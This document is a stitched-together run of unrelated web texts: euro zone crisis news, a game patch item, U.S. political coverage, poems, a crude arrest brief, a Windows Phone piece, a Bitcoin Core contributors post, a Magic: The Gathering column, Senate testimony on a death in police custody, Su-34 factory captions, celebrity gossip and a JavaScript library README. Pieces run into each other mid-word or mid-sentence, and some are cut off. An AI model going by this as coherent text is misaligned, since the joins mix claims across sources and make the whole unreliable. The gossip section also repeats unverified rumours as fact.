Young had 55 wives. One was 15 years old. Young had 57 children by 16 of his wives. Here is a list of his 55 wives: http://en.wikipedia.org/wiki/List_of_Brigham_Young’s_wivesBRUSSELS (Reuters) - European Union leaders made some progress toward a strategy to fight the euro zone’s sovereign debt crisis on Sunday, nearing agreement on bank recapitalization and on how to leverage their rescue fund to try to stop bond market contagion.
But final decisions were deferred until a second summit on Wednesday and sharp differences remain over the size of losses private holders of Greek government bonds will have to accept.
French President Nicolas Sarkozy backed down in the face of implacable German opposition to his desire to use unlimited European Central Bank funds to fight the crisis. Instead, the euro zone may turn to emerging economies such as China and Brazil for help in underpinning its sickly bond market.
“Further work is still needed and that is why we will take the decisions in the follow-up euro zone summit,” European Council President Herman Van Rompuy said after chairing 12 hours of talks.
He indicated that Italy, the euro zone state now in the markets’ firing line, had been told to come up with a more convincing plan this week to implement structural economic reforms to raise its growth potential.
“Between now and Wednesday, some members of the European Council will have to convince colleagues that their country is implementing the promised measures fully,” Van Rompuy said.
Italian Prime Minister Silvio Berlusconi said he expected to call a cabinet meeting on Monday to discuss measures to boost growth, as Italy came under mounting pressure from European partners to step up reforms to restore market confidence.
Sarkozy acknowledged that France’s proposal to multiply the firepower of the euro zone’s rescue fund by turning it into a bank and letting it borrow from the ECB would not fly for now because neither Germany nor the central bank accepted it.
“No solution is viable if it doesn’t have the support of all the European institutions,” the French leader told a joint news conference with German Chancellor Angela Merkel.
Merkel said only two options remained on the table for leveraging the 440 billion euro ($600 billion) European Financial Stability Facility, and neither involved drawing on the central bank. Van Rompuy said, however, that some form of ECB involvement could not be entirely discounted.
Officials said the emerging solution would combine using the EFSF to provide partial guarantees to buyers of new Italian and Spanish bonds, while also creating a special purpose vehicle to attract funds from major emerging countries that could guarantee bonds in the secondary market.
It remains to be seen whether that will convince investors that euro zone government bonds are safe after expected heavy write-downs on Greek debt.
“This is not going to be the ‘shock and awe’ solution to really impress the markets given there are still a lot of details to be worked out and there is still a great deal of uncertainty about how this is to be implemented,” WestLB rate strategist Michael Leister told Reuters.
Leaders endorsed a broad framework drafted by their finance ministers for recapitalising European banks, which regulators say need between 100 and 110 billion euros to cope with likely losses on Greek and other euro zone sovereign bonds.
WRANGLING
Much time was spent on procedural wrangling with non-euro members Britain and Poland demanding that all 27 EU states, including the 10 that are not in the single currency, be fully involved in the crisis response. That forced the calling of another full EU summit for one hour on Wednesday.
British Prime Minister David Cameron said there was a danger that euro zone countries would otherwise start taking decisions on their own that affect the EU’s single market.
With alarm growing in Washington, Beijing and other capitals about potential damage to the global economy, Europe is under pressure to put in place a comprehensive strategy in time for a November 3-4 G20 summit in France to halt the crisis.
They aim to agree on reducing Greece’s debt burden, strengthening European banks, improving euro area economic governance and maximising the firepower of the EFSF.
Merkel told reporters that the decisions to be taken on Wednesday would not be the last step to overcome the crisis.
Before then, she must obtain parliamentary approval from her fractious center-right coalition for the latest series of increasingly unpopular bailout measures.
Merkel and Sarkozy began the day with a 30-minute private meeting with Italian Prime Minister Silvio Berlusconi to ram home what a German official called “the urgent necessity of credible and concrete reform steps in euro area states.”
(L to R) European Commission President Jose Manuel Barroso (L), Germany's Chancellor Angela Merkel (C) and European Central Bank President Jean-Claude Trichet (R) attend a euro zone summit in Brussels October 23, 2011. REUTERS/Yves Herman
LIFELINE
Finance ministers made progress at preparatory sessions on Friday and Saturday, agreeing to release an 8 billion euro ($11 billion) lifeline loan for Greece and to seek a far bigger write-down on Greek debt by private bondholders.
A document prepared by the ministers and seen by Reuters outlined possible guarantee schemes to help banks secure access to wholesale funding at a time when many are shut out of inter-bank lending.
The key outstanding issues were how to make Greece’s debt burden manageable and how to scale up the rescue fund to shield Italy and Spain, the euro area’s third and fourth largest economies, from bond market turmoil that has forced Greece, Ireland and Portugal into EU-IMF bailouts.
A debt sustainability study by international lenders showed that only losses of 50-60 percent for private bondholders would make Greek debt, forecast to reach 160 percent of GDP this year, sustainable in the long term.
“This debt is onerous and must lighten for us to breathe again,” Greek Prime Minister George Papandreou told reporters.
A senior German banker close to the talks said the banks had offered to take a 40 percent “voluntary” writedown but governments were demanding they write off 60 percent.
This is much more than a 21 percent net present value loss agreed with investors on July 21 and some officials question whether it can be achieved voluntarily, or only through a forced default that would trigger wider market turmoil.
“It’s a poker game until Wednesday,” one negotiator said.
A Reuters poll of economists — many of them from European banks — showed last week they expected private investors would have to shoulder losses of around 50 percent.
Analysts say the proposed bond insurance scheme could have perverse effects and remove incentives for states like Italy to take action to reduce debt.
The European Banking Authority told European Union finance ministers on Saturday that if all such bank assets were valued at market prices, EU banks would need 100-110 billion euros of new capital to have a 9 percent core tier 1 capital ratio.
Slideshow (9 Images)
Ministers agreed to give banks until June 2012 to achieve this capital ratio, first using their own funds or from private investors, and if that fails, by using public money from governments or as a last resort the EFSF.
However, EU sources said that figure appeared to include some 46 billion euros already earmarked for bank support in the EU/IMF bailout programmes for Ireland, Greece and Portugal.
Markets may be disappointed if the actual capital injection is only 60-70 billion euros, compared to recent estimates of a need for up to 200 billion euros.Previously, I'd assumed Call of Duty: Ghosts' heavy RAM requirement was there because loading a nice dog was a memory intensive procedure. Either that's not the case or canine computer tech is becoming increasingly advanced, because a new multiplayer patch has lowered the game's 6GB RAM restriction. Now you'll only need 4GB of memory juice to access the multiplayer portion, which should naturally mean more dogs chewing on more throats. Hooray?
The exact purpose of the update isn't entirely clear, with Infinity Ward planning to release the official patch notes later today. What the community have found is that, not only is the game mysteriously less RAM intensive, but that the e-sports features - originally thought to appear as part of the next MLG Championship - have made an early appearance.
Both Blitz and Search & Destroy modes have been updated with hard-coded rulesets, available to use in private matches. Players are also given the ability to set weapon, equipment and perk restrictions while using the e-sports functionality. In addition, a Broadcaster mode provides access to a new set of camera tools, including first-person, third-person and over-the-shoulder viewing modes.
Thanks, MP1st.(CNN) If Mitch McConnell believed anything about the health care bill, it was that the Senate needed to vote on it before they left for a scheduled July 4 recess.
"Sources close to Mitch McConnell tell me the Majority Leader is dead serious about forcing a Senate vote on the Obamacare repeal-and-replace bill before the July 4 holiday."
"Some senators want to delay the vote but McConnell views that as delaying the inevitable. There are no mysteries about what the toughest disagreements are over — Medicaid funding and insurance market regulations."
McConnell's logic made sense. Everyone knew that this would be a tough vote; changing the entire health care system, even if people don't love the status quo, is extremely difficult. The political high-wire act wouldn't change with more time and, in fact, might be made worse as senators returned to their home states and heard from their constituents about what, if polling is to be believed, is a very unpopular bill.
The Kentucky Republican was adamant about the timing of the vote, right up until he wasn't anymore. On Tuesday, after a weekly lunch with his GOP colleagues, McConnell announced that the vote would be pushed until after the July 4 break -- an acknowledgment that he simply didn't have 50 votes (or anywhere close to it) in support of the legislation.
Senate Republicans bussed up to the White House following the concession of at-least-temporary defeat on Tuesday, where President Donald Trump, as usual, insisted progress was being made and a deal was in the offing. "We are going to see what we are going to do," Trump said. "We are getting very close."
But Trump wasn't done!
Even as McConnell worked behind-the-scenes to find a way to allay the concerns of conservatives, who didn't believe the bill went far enough to repeal Obamacare, and centrists, who worried about Medicaid cuts and the 22 million more people who would be uninsured under the plan, Trump took to Twitter.
"If Republican Senators are unable to pass what they are working on now, they should immediately REPEAL, and then REPLACE at a later date," Trump tweeted Friday morning. One congressional aide close to the party leadership joked : "Nothing like rolling a hand grenade into ongoing negotiations, eh?"
By Friday afternoon, as the Senate headed out of town until the middle of this coming week, no deal had been reached that could secure 50 Republican votes. "Think of it this way," McConnell explained to a local Republican group in Kentucky. "I'm sitting there with a Rubik's cube, trying to figure out how to twist the dials to get to 50 to replace this with something better than this."
What McConnell knows is that there may be no way to twist the dials to get to 50 votes. But now he's going to have to spend even more time trying.
Mitch McConnell, for watching your best-laid plans blow up in your face, you had the worst week in Washington. Congrats, or something.Photo by Peter Lamont
Consider the photo of the author skiing in Taos (where she works as a ski instructor when she’s not writing and teaching writing) and then consider the first lines of the first poem—
When we pause at the near edge
of memory or invention and elect
not to venture further, we fail…
—and keep these in mind as you read through this gorgeous selection of poems by an author/skier who, in her maturity, has allowed herself to go over some visionary edge and both lament and glorify the universal desire for being and presence (read “desire” as absence—oh, my goodness, that beautiful lost turquoise metaphor in the first poem and the image later on of the author looking in at the village windows). Leslie Ullman manages to make the cosmic intimate and personal and vice versa. It’s breathtaking to see a poet writing at this level of daring, elegance, and mastery.
Leslie Ullman is a prize-winning poet, friend, colleague (at Vermont College of Fine Arts) and ski instructor (in Taos). Also a graceful, intelligent presence whenever she is around. She is Professor Emerita at University Texas-El Paso, where she taught for 25 years and started the Bilingual MFA Program. She has published three poetry collections: Natural Histories, winner of the Yale Series of Younger Poets Award in 1979; Dreams by No One’s Daughter, University of Pittsburgh Press, 1987; and Slow Work Through Sand, co-winner of the Iowa Poetry Prize, University of Iowa Press, 1998. Individual poems have appeared in numerous magazine, including Poetry Magazine, The New Yorker, Arts & Letters, and Poet Lore. Her essays have been published in Poetry Magazine, Kenyon Review, Denver Quarterly, The AWP Writer’s Chronicle, and Numéro Cinq.
—dg
.
Consider Desire: Poems
By Leslie Ullman
.
.
CONSIDER DESIRE
When we pause at the near edge
of memory or invention and elect
not to venture further, we fail
to consider that invisible journeys, too,
leave dried mud and grass on our shoes;
that one can dream of waltzing with
a stranger, following every
subtle lead, and wake up happy
or be consoled by a fragrant loaf
mentioned briefly in a poem.
The vast bowl of the desert once held
an ocean we can borrow any time
we cup our minds around it like hands
around spinning clay. Once, I halted
on a winter street when I noticed the turquoise
stone had slipped from the center of my ring.
I reversed my steps and searched for hours,
peering downward for a bit of sky,
seeing every crevice in the dark pavement
for the first time, every sodden leaf
and twig. I fingered the empty bezel, sky
filling my mind. Luminous. Parachute of blue.
.
.
ALMOST LISTENING
Not revelation shot from the hip
by Fresh-schooled Mind practicing its aim
on the future, or fact Administrative
Mind wields like a mallet, never waiting
to see what wing-fragile contours
it might settle around, never accepting or
offering it like a handful of water that holds
its shape even as some leaks between the fingers
the truth, as incipience,
is rarely allowed to slip into the ear of
someone in the street talking rapidly into
an invisible phone as though talking to himself
or to settle beside him in the airport lounge
as he taps money and one-liners into
his keyboard; is rarely glimpsed sideways by
the young mother rushing in shoes that pinch,
after hours of setting plates before others, through a haze
of fumes towards the aluminum glare of the bus
she may miss; is rarely allowed presence
like a word thought before it is spoken
or a note that is less sound than an exhalation
riding the air from another latitude
long after it has signaled, from a burnished
gong, the end of a ritual meditation
or like the thick fur of an animal almost camouflaged
amid dark trees on a moonless night,
a large animal believed to be dangerous
when removed from his world, or when his world
is altered by our presence in it.
.
.
DON’T SLEEP YET
This is what you’ve longed for,
drops tapping the shingles
and the silent flowering of each word
printed on the page before you.
Water pours off the eaves and drips
on the dead leaves outside, and you
are held, held the way wood and glass
were meant to hold you. Keep
the rain. You need the privacy
tomorrow will shred to bits. Blue
rain. Streaked wind. The lamp
pulling the room around it. The book
pulling your life around it. The rain
is trying to tell you a story
of going outside and
coming back in.
.
.
THE STORY I NEED
…………–after a line by Ricardo Molinari
Ah, if only the village were so small
and I could look into others’ windows by
looking into my own cupped hands
to see what steams on their
plates, or read the spines of books
on their shelves, all those lives
to open one at a time, I might hold
the history of civilization a little closer
to my own small history—bread
passed down from the centuries, leather boots
on flagstone, couples’ first words
in the morning—not for the privacies
but as proof of the way buildings hold the countless
small movements of words and bodies
through space, and for the feeling
that I, too, am drying the cups and putting them away
or sitting at the tavern, a chessboard
open between me and the oldest inhabitant
or joining a family at their picnic on the green,
unable to distinguish myself from
the murmuring parents and noisy siblings
gathered around the cheese and pears
they have chosen, in a world
of possibilities, to set on the bright cloth.
.
—Leslie Ullman
.Now THIS is auto-eroticism.
Cory Evans, a 22-year-old from Boca Raton, Fla., was arrested on April 14 by Florida Highway Patrol troopers. They received a call at about 12:49 a.m. reporting that Evans was masturbating while driving down Interstate 95, according to an arrest report obtained by TC Palm.
The caller, a semi-truck driver, said that Evans was completely naked behind the wheel and seemed to be matching the speed of the rig. The semi-truck driver told police that Evans "seemed to be enticing him."
Troopers said Evans was clothed when they pulled him over, but they did note his fly was down.
Evans was charged with indecent exposure.
He's far from the first to be accused of driving with his hand firmly on the stick. In December, a UK man got "carried away" and was found naked and masturbating behind the wheel.
And last April, the former vice-mayor of a Tennessee town was accused of masturbating with his penis out of the car window whilst driving 90 miles per hour.
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Contact The AuthorThere's been a lot of talk about Windows Phone lately, especially around the latest handsets and user interface. The New York Times highlighted the positive press that Windows Phone has received, stating that the OS is bold. That's certainly true, Windows Phone is bold visually and under the covers — marking a reset for the company from its Windows Mobile days. While the core operating system is winning praise, Microsoft has to stoke developer support and increase the number of quality apps on the platform for Windows Phone to succeed. 50,000 apps is a good milestone, but 1,000 quality apps can also be seen as a better measure of success.
Microsoft's core Windows Phone operating system is extremely powerful without any applications, something that the software giant clearly intended to show when it introduced the platform at Mobile World Congress 2010. Microsoft's Windows Phone 7 announcement video mocked other smartphones that made users jump in and out of apps, and the firm has been gradually adding in features typically found in separate apps ever since. However, the current state of the Marketplace is a mixed bag. Microsoft is trying hard to attract quality app developers, winning in some areas, but overall the Marketplace lacks control and standards.
A number of critics have highlighted flaws in Microsoft's mobile strategy, some pointing to the number of apps available. Robert Scoble has been the most vocal recently, arguing that Windows Phone is missing 450,000 apps, and developers aren't interested in focusing their resources on building apps for the platform. Business Insider responded and pointed to Windows Phone's 50,000 apps, compared to iOS' 500,000 and Android's 400,000, noting that Windows Phone reached the 50K milestone faster |
feel as they’re out there in the field fighting?
WALLACE: In fairness, Senator, he isn’t criticizing her in any way or denigrating the work of the military. He’s saying that President Obama and Hillary Clinton made some bad decisions that have led to the present situation.
MCCASKILL: Well, you can — there’s a lot of reasons that ISIS rose up. One of them was the status of forces agreement known as SOFA that Bush negotiated. We couldn’t leave our troops in Iraq even if the president wanted to because the parliament in Iraq was refusing to give them immunity. Now, Trump probably thinks the SOFA, the status of forces agreement, is a gilded couch at Mar-A-Lago. He probably doesn’t know what SOFA is. But that was a very relevant part of this. It was also important to realize that Assad, by what he did in his country, allowed ISIS to move into what was then Iraq — al Qaeda in Iraq into Syria and get strongholds and recruit. That was the work and support of Putin who is Trump’s best buddy. So, you can say Trump and his friend Putin are the founder of ISIS, which probably would be more accurate than calling out the commander-in-chief in that way.
WALLACE: Well, I’m glad for that last comment. That will certainly get Donald Trump’s attention. Senator McCaskill, thank you. Thanks for your time this week. And it’s always good to talk with you.
Rebuttals from Putin and Assad below in'related videos' --What did Bitcoin Core contributors ever do for us?
John Newbery Blocked Unblock Follow Following Jul 21, 2017
This afternoon, I tweeted a response to the strange suggestion that we fire core. I’ve ignored the fact that Bitcoin Core isn’t a person or an organization (in the traditional sense), and that everyone is perfectly free to run their own re-implementation of Bitcoin, but instead focused on a few of the things you’d need to do if you were serious about rejecting the work of the Bitcoin Core contributors.
I’ve included a mix of enhancements that have been around for one or more releases, stuff that’s going in to 0.15 right now, and longer-term development or research work. People who don’t actively follow the bitcoin core github repository probably aren’t aware of the wide range of work that the contributors are doing. Hopefully this gives some insight into that world.
Full disclosure: I contribute to Bitcoin Core.
So here goes, what have Bitcoin Core developers ever done for us?
libsecp256k1 is a heavily optimized library for doing elliptic curve math over Bitcoin’s secp256k1 curve. Elliptic curve math is used for creating signatures to spend transactions, and for validating signatures in transactions that you receive from the network. In addition to being several times faster than OpenSSL, libsecp256k1 has much better protection against timing, derandomization and side-channel attacks. Bottom line: transaction signing/validation is faster and more secure.
libsecp256k1 was mostly written by Pieter Wuille, Andrew Poelstra, Peter Dettman and Greg Maxwell, and started being used by Bitcoin Core in v0.12. Pieter, Andrew, Peter and Greg continue to maintain and make improvements to libsecp256k1.
Pruning allows a full node to discard old blockchain data, while still fully validating all the consensus rules. It means that users can run a Bitcoin Core node on diskspace-constrained hardware and enjoy the exact same security of running a full node. The blockchain is now over 125GB, but a pruning node can be fully synced to the network with just 2–3GB of disk storage.
Automatic pruning functionality was added in Bitcoin Core V0.11. The code was mostly written by Suhas Daftuar, Alex Morcos, Adam Weiss and Brad Andrews. Pruning was further improved in V0.14 to allow pruning to be run manually by the user. Principal contributors were Brad Andrews and Russ Yanofsky.
Multiwallet is a long-requested and wanted feature that has finally been merged in v0.15 🎉. This allows users to have completely segregated wallets, for use-cases such as separating business and personal accounts or having wallets for different purposes running concurrently. We don’t yet have separate authentication for different users, but future versions may allow multiple users to safely access different wallets on the same Bitcoin node.
Luke Dashjr contributed multiwallet in V0.15. The RPC interface was provided by Jonas Schnelli.
Having a fast, efficient networking layer is essential for quick block/transaction propagation and the overall health of the network. The faster that blocks are able to propagate through the network, the lower the stale block rate, and the more secure the network is.
Cory Fields has been doing continued work to refactor the networking code for several releases, with a major and significant improvement delivered in V0.14. V0.15 and future releases will continue to see improvements in cleaning up and isolating the network code from the server code.
One of the most exciting benefits of segregated witness is that it gives us the ability to upgrade the scripting language. There are several exciting script upgrades under investigation, but the one that will probably get most attention in upcoming releases is Schnorr signature support. Schnorr signatures are an alternative signature scheme to the currently used ECDSA which allow multiple signatures to be added together or ‘aggregated’. This is a win for scalability (since if multiple signature are added together, the aggregated signatures takes up only as much space as one of input signatures), validation cost (since only one signature needs to be validated instead of many) and privacy (since an aggregated signature doesn’t reveal whether the input was a single signature or many signatures).
Greg Maxwell, Pieter Wuille and Andrew Poesltra have been investigating Schnorr signature aggregation, particularly working to make sure that the aggregation scheme is safe from the signature cancellation problem.
Currently, Bitcoin Core exists as a single process, with shared memory access between the network code, consensus code, wallet code and user interface code. Ideally we’d like to separate the wallet into a separate process, so if the networking function was hacked or compromised, your wallet function and private keys would be safer.
Russ Yanofsky has been doing the groundwork for process separation during V0.15. Look out for further progress in this area in V0.16 and V0.17.
Every transaction submitted to the Bitcoin network attaches a user-chosen fee, which goes to the miner who confirms that transaction in a block. Set the fee too low and your transaction won’t get confirmed in a block. Set it too high and you’ve donated money to the miner unnecessarily. Between those two extremes is a continuum of where to set your fee — a high fee will probably get you confirmed in the next block, a slightly lower fee might see your transaction confirmed in the next 3 or 4 blocks, and even lower than that and your transaction could take a few hours to get confirmed. Choosing the correct fee for your transaction is a hard problem, requiring knowledge of the current state of the network and some smarts to predict what will happen depending on where you set the fee.
Alex Morcos has spent a lot of time thinking about and analyzing fee strategies and significantly improved the fee logic in V0.15.
Bitcoin Core runs multiple threads so different tasks can be run in parallel on a multi-core computer. However, a lot of the functions grab a ‘global lock’ before doing their work, and other threads need to wait for that global lock to be released before they can continue with their work. Result: Bitcoin Core is not as able to do as much work in parallel as we’d like. If we can reduce the places where that global lock is grabbed and held, then Bitcoin Core would be able to things like run wallet tasks, validate blocks and serve blocks and transactions to peers simultaneously.
This is very delicate work and requires a deep understanding of Bitcoin Core’s multi-threading model. Get it wrong and you could easily cause crashes or memory corruption. Matt Corallo has done a lot of the plumbing work for this in V0.15. We should see some major payoff for that work in V0.16.
Several companies now offer hardware wallets, which allow you to keep your private keys and signing code on a dedicated security device. That’s a much, much more secure model than having your private keys on a network-connected computer, which could potentially get hacked. Sadly there’s no standardized interface for hardware wallets, so each vendor provides their own software wallet to use with their hardware wallet. It’d be great if Bitcoin Core could support hardware wallets so users could benefit from running fully hardware-separated signing code behind the most secure Bitcoin full node.
HWW support is probably at least a couple of releases away, but Jonas Schnelli and Nicolas Dorier have already been doing some early work to make sure that Bitcoin Core is ready for HWW support. Hopefully we’ll see some more progress on this in V0.16 or V0.17.
Of course, none of these code changes would be of any use at all if we didn’t have repository maintainers to do the work of signing and merging all the commits, making sure translations are ready, preparing release notes, and doing all the other things that turn a bunch of code changes into a software product that normal people can run. Wladimir van der Laan is lead maintainer and has been tirelessly doing that work for many releases. Everyone in the Bitcoin community owes him a huge debt of gratitude.
I’ve tried to give shout-outs to the main contributors behind each of these features. Open-source software is a collaborative activity and there are far more who have contributed code, review, testing time, documentation and much more to these and other initiatives. If I’ve made any egregious omissions, please accept my apologies and message me on twitter so I can set the record straight!Two weeks ago, I had the opportunity to go to Grand Prix Minneapolis to do live coverage. While I have been to many GPs in the past as either a player or a coverage writer, this was my first time attending as a color commentator. Our live coverage team is split into two components. One is the play-by-play commentator, who calls the action as it occurs. The second is the color commentator (me!), who fills in time when the action is low and explains the player's motivations. The color commentator is expected to know the format inside-and-out so that they can share insight about what could happen throughout the game.
When a new challenge presents itself, I want to prepare in any way I can. Unfortunately, some problems presented themselves. The two play-by play commentators that I would be working with, Marshall Sutcliffe and Maria Bartholdi, were both leaving for Japan the week prior for Pro Tour Hour of Devastation, so preparing with them wasn't an option. Luckily, I did manage to get in a practice match with both Marshall and Maria about three weeks before the Grand Prix, but I still wasn't feeling well prepared!
On the flip side, I prepared in the manner I had control over—getting in a lot of practice matches on Magic Online. I ran the Pro Tour gauntlet through some Leagues and even did a little brewing. Since I was already familiar with the cards and decks, it didn't take long for me to learn the format and develop my own predictions of what I thought would perform well in Minneapolis that weekend.
While I've technically played a lot of this format in our Future Future League, that was about a year ago and in a much different environment. An aspect of FFL is that we are going to be slightly off what the real world ultimately plays. This is due to cards changing constantly, meaning we can't iterate on decks in the same way that the real world can. It's almost like living in an alternate timeline.
As a hypothetical example, if our FFL gauntlet shows that our strongest decks are Temur Energy and Grixis Control, then in our "week two," the metagame will adjust accordingly. Perhaps aggression will perform, punishing the slower decks and their greedy mana. Then during "week three," the metagame will adjust even further to compensate.
Now let's say that during the Pro Tour, the best-performing deck is Mono-Red Aggro (spoiler: it was!). During week two, players will adapt and attempt to beat those aggro decks. Maybe they will main-deck Sweltering Suns in their red decks or play anti-aggro strategies like White-Blue Approach of the Second Sun. As the weeks go on, the metagame will be completely different than the one from our FFL, our alternate timeline. The point is, even if our decks are only slightly off, it can cause huge ripple effects in the metagame as weeks pass.
I had an even stranger experience playing this Standard format internally with Hour of Devastation, as we had not yet made the Standard rotation change. We were testing the format of Shadows over Innistrad through Hour of Devastation, and things were entirely different. While we did have a few weeks to test the new format and make necessary changes, we didn't have as much information as we would have liked and iterated on our decks even less than we would have typically.
Going back to my original point, while we had several awesome decks similar to ones that did well at Pro Tour Hour of Devastation, they were still a bit off from what the pros played. For example, our Zombies deck splashed white for Wayward Servant and Cast Out. Due to the white splash, we couldn't support cards like Relentless Dead and Grasp of Darkness. We also played a lower land count, more two-drops, and fewer copies of Liliana's Mastery.
Our red decks were similarly different from the Pro Tour decks. They were not as low to the ground and focused on more heavy-hitters like Glorybringer and Chandra, Torch of Defiance. We also had a spicy one, Hazoret's Monument, in most of our lists. While the Monument may not affect the battlefield immediately, the card quality you can gain with it is massive. There's no better feeling than casting a turn-four Glorybringer, discarding an Earthshaker Khenra, and then eternalizing the Khenra on turn six. Getting rid of excess lands when you're flooding doesn't hurt either!
When we are playing so many different types of cards that are constantly in flux, some crazy interactions tend to come up. Insult // Injury was a great perpetrator of this that we often played as a "fun of" in red decks. Sometimes you'll cast Insult and win the game if you have a large battlefield presence, and other times it'll get discarded to Hazoret's Monument and Hazoret herself to be cast later with aftermath. Fiery Temper similarly has great synergy with the aforementioned discard outlets, while also just being another face-burn spell that red aggro decks are happy to play. Ramunap Red decks from Pro Tour Hour of Devastation are far more tuned than our decks were, but we wanted plenty of options available for players who might take the deck in many directions.
Entering the tournament hall, I was a little nervous. Not only was it my first time doing something like this, but it would be live in front of anywhere between 5,000 and 10,000 people. No pressure, right? Thankfully, when we actually started, it was smooth sailing. I just treated the situation like I was sitting at home in front of a stream and chatting with my friend about the matches. Marshall and Maria were great people to work with, and their professionalism made my day very easy!
A standout moment of the experience was a round where my FFL experience helped me prepare to provide commentary. Our FFL gauntlet had a sweet Reanimator deck that featured cards like Ever After; Liliana, Death's Majesty; and some spicy creatures to reanimate like Razaketh, the Foulblooded. When Maria and I commentated on a reanimator match during Day Two, I was already familiar with the deck and could provide insight that someone outside of R&D would not have been able to!
History Was Made!
On Sunday of the Grand Prix, Maria and I hopped in the booth together and for the first time ever, professional Magic had women in both commentator roles. I've been playing Magic since the '90s and have frequently been the only woman in the game store, the only woman at PTQs, and the only woman at the Pro Tour. As the years go on, the number of women continues to grow, but not by enough. Representation really matters, and seeing two women commentate on matches is a groundbreaking moment for our game that I hope inspires more women to play competitively.
Thanks for reading and until next time,
Melissa DeTora
@MelissaDeTora
Play Design Story of the Week
This week's story was written by Bryan Hawley.
Good news: we have a new sticker printer, so we can print playtest cards again!
Here's why it's good news.
About a month ago, our trusty sticker printer, named Tordeck, started having a bit of an existential crisis. It wasn't sure whether it wanted to be a printer or a petulant diva, so it started getting very picky about the way paper was presented to it. First it started rejecting paper from the second tray as being beneath it, and quickly the third tray followed. We developed a series of notes about the behavior that Tordeck appreciated—namely having paper in the first tray (the bypass tray), and only face-up paper would do. Soon, even this was not enough to appease Tordeck, and we had to press "OK" between each printed page.
Andrew Brown (left) and Dan Burdick struggle to contain their rage as Tordeck (center) willfully ignores them.
This list of strictures imposed by the increasingly dainty Tordeck caused us to seek more amenable printers, and we went to the mighty Tam. Tam was willing to aid us, but to avoid the ire of other departments we had to walk across the building twice to load sticker paper and then replace it with normal paper when we were done. Even this avenue was soon closed after Play Design Manager Dan Burdick printed out—and I am not exaggerating—3,000 playtest cards and we ran out of Tam-acceptable sticker paper. Dan immediately fled to Japan, and Tam broke shortly thereafter. Suspicions continue to this day.
Once we got a new printer, there was a great search for a new name. We eventually settled on Lorthos, but below is the list of names also in consideration. (Most were suggested by Andrew Brown.)
Jorubai
Pearl Lake
Thought-Knot Printer
Phyrexian Funlife
Serum Printer
BoomshakalakaThe mother of a young man with Down syndrome who was killed by police officers in Maryland told Congress on Tuesday that federal standards were needed to ensure law enforcement agents received the training they needed.
“I want to tell you that I am here as a grieving mother. It’s been 15 months. I’m not sure that it will ever stop,” Patti Saylor testified before the Senate Judiciary Subcommittee on the Constitution, Civil Rights, and Human Rights.
Saylor’s son, Ethan, tried to stay for a second viewing of the movie “Zero Dark Thirty” in January 2013. But movie theater staff called security because Ethan hadn’t purchased a second ticket. Three off-duty Frederick County sheriff’s deputies forcefully removed Ethan from the theater, even though an aide told them that Ethan had Down syndrome and his mother was on her way.
“The one officer approached him, nicely at first, but demanded that he leave,” Saylor told the senators. “Ethan was trying to buy a ticket using his cell phone. He had no money, he did not drive for himself. He needed to depend on others to get the things he wanted in life, and he wanted to stay and watch the movie.”
“The officers proceeded to physically remove him from the theater, dragged him from his seat, tried to handcuff him, when that didn’t work while he was standing, they placed him on the ground, put handcuffs on, and my son died of asphyxiation on that floor of that movie theater for that $10 ticket.”
In her written testimony, Saylor said that her son died after his throat was crushed by the officers.
“While anyone, disability or not, could have been injured or killed in Ethan’s situation that evening, our family also remains deeply concerned that Ethan’s rights, as an individual with a disability, were violated. The autopsy showed that Ethan’s larynx was crushed while being restrained by the officers. The manner in which Ethan was restrained that evening, with his hands behind his back and forced to lie face down on his stomach, has for years been considered excessive due to the chance of positional asphyxia.”
Saylor also said that Ethan posed no threat.
“He was not threatening, he was not in crisis. He had a problem that needed solving: how do I stay and watch the movie when my aide is telling me it is time to go home? I would have solved that problem in literally 5 minutes.”
After Ethan’s death, Saylor and her family joined with disability rights advocates in Maryland to urge an investigation into the incident. Governor Martin O’Malley later created a task force to examine statewide policies regarding the training of law enforcement when it came to interacting with intellectually disabled individuals. Saylor called on Congress to take similar actions at the federal level.
“Since Ethan’s death, we have been on our own advocacy journey to achieve justice for Ethan, while at the same time ensuring what happened to Ethan never happens to another member of the Down syndrome and disability community ever again.”
Watch video below.Novosibirsk aeronautic production association named after V. P. Chkalov (Chkalov plant) is one of the largest plane making enterprises of Russia that is a part of “Sukhoi” company. In the beginning of the 90s the plant began to master multi-purpose aviation complex Su-34. The first plane took off in 1993. Since 2006 they have started series delivery of these vehicles to the Russian air military forces.
Su-34 is capable to accelerate its speed up to 1,9 thousand kilometers an hour and perform flights at a distance up to 4000 km. Combat radius of the vehicle is 1,1 thousand kilometers.
The strike aircraft is armed with a 30-mm gun and has 12 mounting points for attachments with total mass of 8 tonnes.
Western analysts still cannot classify this plane. It is called “a multifunctional fighter” or “a bomber-fighter”.
Assembly shop panorama
Glider panels assembly
Formers assembly
Elements connection
Fuselage forebody assembly
The crew cabin is made with use of titanium armour (17 mm thick)
Fuselage pressure-sealing testsSeptember 30, 2017: Word on the curb is that Kenya Moore is essentially DONE with The Real Housewives Of Atlanta. She’s been fighting with other castmembers about her new marriage. It seems like her co-stars keep calling Kenya’s marriage “fake.” And Kenya has decided to threaten to SUE folks.
Here’s what the website Tamara Tattles is reporting:
Bravo is seemingly done with Kenya. She too an IG taken down recently where she threatened to sue someone. I thought it was Kim but it was actually Marlo over things said at her tea party you will see on season ten.
Kenya is lawyered up. And this is why I am saying that it is her last season. She will be taking the Adrienne Maloof exit. It’s a contract violation to threaten to sue another cast member and to come after the Bravo execs. It’s a contract violation to refuse to film with certain people. It’s a contract violation to refuse to go on a cast trip. I realize that others have done all of those things before and stayed. But she has ROYALLY pissed of the top level folks at Bravo. Andy has never liked her so he for sure will not have her back.
I don’t think she wants to come back at this point, but even if she did, the legal threats she has made have probably sealed her fate. She knows it.
But truly her only options were to lay down and die (which would never happen) or appear a bit unhinged going after these bitches because she already knows she is getting the shitty edit, quit the show at once, or go out guns blazing. She has chosen the fourth option. Because, that’s our Kenya.Usage with RequireJS
To use with RequireJS I'd advise to also use the plugin requirejs-i18njs to be able to precompile the templates that are in your translation files for your production code.
Usage with Handlebars
You can register your helper simply by using the.get() function of i18njs
Handlebars.registerHelper('i18n ', function () { return i18njs.get. apply (i18njs, arguments); } );
then in your templates :
// Arguments after the 'key' are optionals {{i18n'key'data options lang}}
Installation
Either
npm install -- save i18njs
or
bower install -- save i18njs
Usage
Import it the way you want into your project :
// CommonJS var i18njs = require ('i18njs');
// AMD define(['i18njs'], function ( i18njs ) { // use i18njs });
// Global < script type = " text/javascript " src = "./dist/i18njs.min.js " ></ script > < script type = " text/javascript " > // use i18njs </ script >
Add locales
Your localized strings are simple json objects.
